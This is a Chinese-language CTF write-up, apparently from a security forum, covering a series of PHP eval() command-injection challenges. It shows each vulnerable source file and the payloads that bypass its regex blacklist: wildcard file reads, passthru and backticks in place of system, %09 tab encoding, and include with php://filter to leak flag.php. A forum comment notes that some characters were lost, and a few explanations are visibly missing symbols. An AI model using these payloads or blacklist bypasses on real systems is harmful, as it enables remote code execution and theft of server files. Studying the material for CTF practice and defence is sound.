这里在说每道题的时候,会把使用的相关手法的理论以及为什么要这样做,这样做在实战中可能会在一个什么样的场景这些都连带着说一下
查看代码
代码过滤了 flag
<?php
/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>: 2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by: h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:26:48
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里我们直接传?c=system('cat f*');
即可
这道题放在实战中的场景可能是黑名单过滤
有一些铭感文件的文件名被卡主了
我们可以通过*或者?这样的语法来进行绕过
这里说一下 和 ? 的区别
可以匹配0个或多个字符
?是匹配任意一个字符
比如当前目录下存在
flag.php
file
qwe.txt
这几个文件
如果我使用命令
cat f*
会输出 flag.php file 两个文件的内容
如果是cat fl*
则只会输出 flag.php 的内容
同样,想要查看file文件我们甚至可以
cat ????
因为当前目录下只有 file 是四个字符的文件
看下实际效果
同样的,想要匹配 file 这个文件
我们还可以cat fi*
cat fil*
cat f??e
等操作
感兴趣的小伙伴可以自己多试试
上payload
我们看到页面仍旧是空白
但是如果右键或者ctrl+u查看源代码却可以看到flag
这里的原因是因为这个文件的内容开头是 一个尖括号
这些内容被 html 当做标签解读了(虽然也解读不出来什么东西)
没有被当做内容输出
所以页面上显示空白
这里的话想要直接看到内容可以用tac命令
tac是倒序输出,从最后一行一行一行往上的输出
我们可以看到 <?php 没有被输出
因为那些内容被当做html了
但是其他内容因为没有一个尖括号在前面
被当做文本直接输出了
这里过滤了 system,flag,php 三个东西
<?php
/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>: 2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by: h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:42:26
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 system 的意义在于禁用命令执行函数
但是我们知道
可以命令执行的函数不止 system 这么一个
system
passthru
popen
shell_exec
exec()
还有反引号,就这俩 ``
这里要提一句的是
反引号其实就是在调用 shell_exec 函数
如果在 php 配置中禁用了 shell_exec 也就相当于禁用了反引号命令执行
但如果只是用正则表达式过滤了shell_exec的话还是可以用反引号的
这里直接换个函数
比如passthru?c=passthru('tac f*');
这题比起上提过滤了 cat,sort,shell,空格,点,单引号
<?php
/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>: 2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by: h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:49:10
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
cat和sort是查看文件内容的命令
shell是 shell_exec() 这个函数
把上道题的payload里的单引号换成双引号,空格替换成 %09 即可
%09是tab(制表符)的url编码
也可以当做空格使用
?c=passthru('tac%09f*');
这里过滤了分号,左括号,空格
<?php
/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span class="label label-primary">@Date</span>: 2020-09-04 00:12:34
# <span class="label label-primary">@Last</span> Modified by: h1xa
# <span class="label label-primary">@Last</span> Modified time: 2020-09-04 00:56:31
# <span class="label label-primary">@email</span>: h1xa<span class="label label-primary">@ctfer.com#CTL{n}#</span> <span class="label label-primary">@link</span>: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我们可以利用 include 函数
include函数不需要括号也能用,就像echo一样
先放 payload
?c=include$_GET[7]?>&7=php://filter/convert.base64-encode/resource=flag.php
结果进行base64解码即可得到flag
这里代码执行了
include$_GET[7] 这行代码
因为分号被禁用
但是如果没有分号 eval函数又会报错
就用?>作为结束符直接写上去
后面就是文件包含的内容
php://filter
php伪协议中的 file 协议
同样的,这里可以使用 data伪协议或者 php://input
这些来继续代码执行
相关的利用会在以后的文章中用到
同上
?c=include$_GET[7]?>&7=php://filter/convert.base64-encode/resource=flag.php
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 200.00 | 0 | 2023-09-10 20:08:44 | 深度 100 普适 100 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-魔方
发表于 2023-8-27
本月奖金池已空,金币奖励将于下月打赏
评论列表
加载数据中...
Track-魔方
发表于 2023-9-7
文章中还是有一些字符丢失了,影响文章的可读性
评论列表
加载数据中...